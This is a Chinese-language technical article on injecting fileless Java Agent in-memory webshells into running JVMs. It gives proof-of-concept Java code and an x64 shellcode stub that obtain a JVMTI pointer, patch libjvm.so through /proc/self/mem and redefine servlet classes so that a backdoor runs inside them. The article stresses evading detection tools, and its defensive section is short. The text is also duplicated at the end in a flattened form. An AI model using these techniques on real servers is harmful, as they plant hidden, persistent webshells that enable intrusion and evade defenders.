论如何优雅的注入Java Agent内存马
字数 1688 2025-08-26 22:11:22

Java Agent内存马注入技术详解

1. 内存马技术演进

1.1 早期内存马技术(2018年)

  • 首次提出memShell(内存马)概念
  • 技术实现:利用Java Agent技术向JVM内存中植入webshell
  • 实现步骤:
    1. 上传inject.jar到服务器用来枚举jvm并进行植入
    2. 上传agent.jar到服务器用来承载webshell功能
    3. 执行系统命令java -jar inject.jar

1.2 冰蝎v3.0改进(2020年)

  • 使用self attach技术简化流程
  • 实现步骤减少为2步:
    1. 上传agent.jar到服务器
    2. 冰蝎服务端调用Java API将agent.jar植入自身进程

1.3 冰蝎v3.0 Beta 10(2021年)

  • 实现内存马防检测(Anti-Attach技术)
  • 防止他人注入或扫描内存马

2. 现有技术的不足

  1. 文件落地问题:需要上传agent.jar到目标磁盘
  2. 新增组件问题:新增Filter/Servlet/Listener等组件容易被检测
  3. 环境依赖问题:不同容器/版本需要不同的注入方法,通用性差

3. 无文件Agent植入技术

3.1 技术原理

  • 无需在目标磁盘上落地文件
  • 直接操作JVM内存实现注入

3.2 关键技术点

3.2.1 获取JVMTIEnv指针

  • 通过JNI_GetCreatedJavaVMs函数获取JavaVM对象
  • JavaVM对象中包含GetEnv成员函数
struct JavaVM_ {
    const struct JNIInvokeInterface_ *functions;
    jint DestroyJavaVM() { return functions->DestroyJavaVM(this); }
    jint AttachCurrentThread(void **penv, void *args) { return functions->AttachCurrentThread(this, penv, args); }
    jint DetachCurrentThread() { return functions->DetachCurrentThread(this); }
    jint GetEnv(void **penv, jint version) { return functions->GetEnv(this, penv, version); }
    jint AttachCurrentThreadAsDaemon(void **penv, void *args) { return functions->AttachCurrentThreadAsDaemon(this, penv, args); }
};

3.2.2 Windows平台实现

技术路线

  1. 通过Java向自身进程植入shellcode
  2. shellcode动态调用jvm.dll中的JNI_GetCreatedJavaVMs

关键代码

import java.lang.reflect.Method;

public class RunShellCode {
    public static void main(String[] args) throws Exception {
        System.loadLibrary("attach");
        Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine");
        for (Method m:cls.getDeclaredMethods()) {
            if (m.getName().equals("enqueue")) {
                long hProcess=-1;
                byte shellcode[] = new byte[] {...}; // shellcode字节数组
                String cmd="load";
                String pipeName="test";
                m.setAccessible(true);
                Object result=m.invoke(cls,new Object[]{hProcess,shellcode,cmd,pipeName,new Object[0]});
            }
        }
    }
}

shellcode工作流程

  1. 获取kernel32.dll基址
  2. 获取GetProcessAddress函数地址
  3. 调用LoadLibraryA加载jvm.dll
  4. 获取JNI_GetCreatedJavaVMs地址
  5. 调用JNI_GetCreatedJavaVMs
  6. 安全退出线程

3.2.3 Linux平台实现

技术路线

  1. 解析/proc/self/maps获取libjvm.so基址
  2. 修改Java_java_io_RandomAccessFile_length函数体
  3. 执行shellcode获取JVMTIEnv指针
  4. 恢复原函数体

关键步骤

  1. 解析libjvm.so的ELF头,获取函数偏移
  2. 通过/proc/self/mem修改内存
  3. 执行自定义shellcode
  4. 恢复原始代码

shellcode示例

push rbp
mov rbp, rsp
mov rax, 0xf
not rax
and rsp, rax
movabs rax, _JNI_GetCreatedJavaVMs
sub rsp, 40h
xor rsi, rsi
inc rsi
lea rdx, [rsp+4]
lea rdi, [rsp+8]
call rax
mov rdi, [rsp+8]
lea rsi, [rsp+10h]
mov edx, 30010200h
mov rax, [rdi]
call qword ptr [rax+30h]
mov rax, [rsp+10h]
add rsp, 40h
leave
ret

3.3 组装JPLISAgent

private long getJPLISAgent() {
    long pointerLength = 8;
    Unsafe unsafe = null;
    try {
        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        unsafe = (Unsafe)field.get((Object)null);
    } catch (Exception var14) {
        throw new AssertionError(var14);
    }
    
    long JPLISAgent = unsafe.allocateMemory(4096L);
    long native_jvmtienv = unsafe.getLong(JPLISAgent + (long)pointerLength);
    
    if (pointerLength == 4) {
        unsafe.putByte(native_jvmtienv + 201L, (byte)2);
    } else {
        unsafe.putByte(native_jvmtienv + 361L, (byte)2);
    }
    
    return JPLISAgent;
}

4. 动态修改类实现

4.1 Windows平台实现

完整POC

package sun.tools.attach;

import sun.misc.Unsafe;
import java.io.IOException;
import java.lang.instrument.ClassDefinition;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class WindowsVirtualMachine {
    public static int pointerLength=8;
    public static String className;
    public static byte[] classBody;
    
    static native void enqueue(long hProcess, byte[] stub, String cmd, String pipename, Object... args) throws IOException;
    
    public static void work() throws Exception {
        Unsafe unsafe = null;
        try {
            Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            unsafe = (sun.misc.Unsafe) field.get(null);
        } catch (Exception e) {
            throw new AssertionError(e);
        }
        
        long JPLISAgent = unsafe.allocateMemory(0x1000);
        byte[] buf = {...}; // shellcode字节数组
        
        try {
            System.loadLibrary("attach");
            enqueue(-1, buf, "enqueue", "enqueue");
        } catch (Exception e) {
            e.printStackTrace();
            return;
        }
        
        long native_jvmtienv=unsafe.getLong(JPLISAgent+pointerLength);
        
        if (pointerLength==4) {
            unsafe.putByte(native_jvmtienv+201 , (byte) 2);
        } else {
            unsafe.putByte(native_jvmtienv+361 , (byte) 2);
        }
        
        try {
            Class<?> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl");
            Constructor<?> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);
            constructor.setAccessible(true);
            Object inst = constructor.newInstance(JPLISAgent, true, false);
            
            ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody);
            Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class);
            redefineClazz.invoke(inst, new Object[] { new ClassDefinition[] { definition } });
        } catch (Throwable error) {
            error.printStackTrace();
            throw error;
        }
    }
}

4.2 Linux平台实现

完整POC

import sun.misc.Unsafe;
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.lang.instrument.ClassDefinition;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;

public class MemShell {
    private void agentForLinux(String className,byte[] classBody) throws Exception {
        // 解析/proc/self/maps获取函数地址
        // 修改内存执行shellcode
        // 恢复原始代码
        // 构造JPLISAgent
        // 使用InstrumentationImpl重定义类
    }
    
    private static final int SHT_DYNSYM = 11;
    private static final int STT_FUNC =2;
    private static final int STT_GNU_IFUNC =10;
    
    private static int ELF_ST_TYPE(int x) { return (x & 0xf); }
    
    static long find_symbol(String elfpath, String sym, long libbase) throws IOException {
        // ELF解析实现
    }
}

5. 内存马植入流程

  1. 选择宿主类

    • weblogic/servlet/internal/ServletStubImpl.class
    • jakarta/servlet/http/HttpServlet.class
    • javax/servlet/http/HttpServlet.class
  2. 读取宿主类字节码

  3. 插入webshell字节码

    • 使用ASM或Javaassit工具
    • 或直接使用预植入的字节码
  4. 动态修改类

    • 调用上述技术实现类重定义

6. 技术优势

  1. 无文件落地:整个过程不在磁盘上留下文件
  2. 无新增类/方法:不增加新的类或方法,类似inline hook
  3. 隐蔽性强
    • 对基于反射机制的查杀工具隐形
    • 配合Anti-Attach技术可对抗Agent查杀工具

7. 扩展应用

该技术不仅限于内存马注入,还提供了:

  • Java到Native层的无约束通道
  • 可扩展用于其他JVM底层操作

8. 防御建议

  1. 监控/proc/self/mem的写操作
  2. 加强JVM自身安全防护
  3. 检测异常的类重定义行为
  4. 实施严格的权限控制

9. 参考资源

  1. 《利用"进程注入"实现无文件复活WebShell》
  2. 《Java内存攻击技术漫谈》
  3. 《Linux下内存马进阶植入技术》
  4. 冰蝎v3.0/v4.0相关技术文档
Java Agent内存马注入技术详解 1. 内存马技术演进 1.1 早期内存马技术(2018年) 首次提出memShell(内存马)概念 技术实现:利用Java Agent技术向JVM内存中植入webshell 实现步骤: 上传inject.jar到服务器用来枚举jvm并进行植入 上传agent.jar到服务器用来承载webshell功能 执行系统命令java -jar inject.jar 1.2 冰蝎v3.0改进(2020年) 使用self attach技术简化流程 实现步骤减少为2步: 上传agent.jar到服务器 冰蝎服务端调用Java API将agent.jar植入自身进程 1.3 冰蝎v3.0 Beta 10(2021年) 实现内存马防检测(Anti-Attach技术) 防止他人注入或扫描内存马 2. 现有技术的不足 文件落地问题 :需要上传agent.jar到目标磁盘 新增组件问题 :新增Filter/Servlet/Listener等组件容易被检测 环境依赖问题 :不同容器/版本需要不同的注入方法,通用性差 3. 无文件Agent植入技术 3.1 技术原理 无需在目标磁盘上落地文件 直接操作JVM内存实现注入 3.2 关键技术点 3.2.1 获取JVMTIEnv指针 通过 JNI_GetCreatedJavaVMs 函数获取JavaVM对象 JavaVM对象中包含 GetEnv 成员函数 3.2.2 Windows平台实现 技术路线 : 通过Java向自身进程植入shellcode shellcode动态调用jvm.dll中的 JNI_GetCreatedJavaVMs 关键代码 : shellcode工作流程 : 获取kernel32.dll基址 获取GetProcessAddress函数地址 调用LoadLibraryA加载jvm.dll 获取JNI_ GetCreatedJavaVMs地址 调用JNI_ GetCreatedJavaVMs 安全退出线程 3.2.3 Linux平台实现 技术路线 : 解析/proc/self/maps获取libjvm.so基址 修改Java_ java_ io_ RandomAccessFile_ length函数体 执行shellcode获取JVMTIEnv指针 恢复原函数体 关键步骤 : 解析libjvm.so的ELF头,获取函数偏移 通过/proc/self/mem修改内存 执行自定义shellcode 恢复原始代码 shellcode示例 : 3.3 组装JPLISAgent 4. 动态修改类实现 4.1 Windows平台实现 完整POC : 4.2 Linux平台实现 完整POC : 5. 内存马植入流程 选择宿主类 : weblogic/servlet/internal/ServletStubImpl.class jakarta/servlet/http/HttpServlet.class javax/servlet/http/HttpServlet.class 读取宿主类字节码 插入webshell字节码 : 使用ASM或Javaassit工具 或直接使用预植入的字节码 动态修改类 : 调用上述技术实现类重定义 6. 技术优势 无文件落地 :整个过程不在磁盘上留下文件 无新增类/方法 :不增加新的类或方法,类似inline hook 隐蔽性强 : 对基于反射机制的查杀工具隐形 配合Anti-Attach技术可对抗Agent查杀工具 7. 扩展应用 该技术不仅限于内存马注入,还提供了: Java到Native层的无约束通道 可扩展用于其他JVM底层操作 8. 防御建议 监控/proc/self/mem的写操作 加强JVM自身安全防护 检测异常的类重定义行为 实施严格的权限控制 9. 参考资源 《利用"进程注入"实现无文件复活WebShell》 《Java内存攻击技术漫谈》 《Linux下内存马进阶植入技术》 冰蝎v3.0/v4.0相关技术文档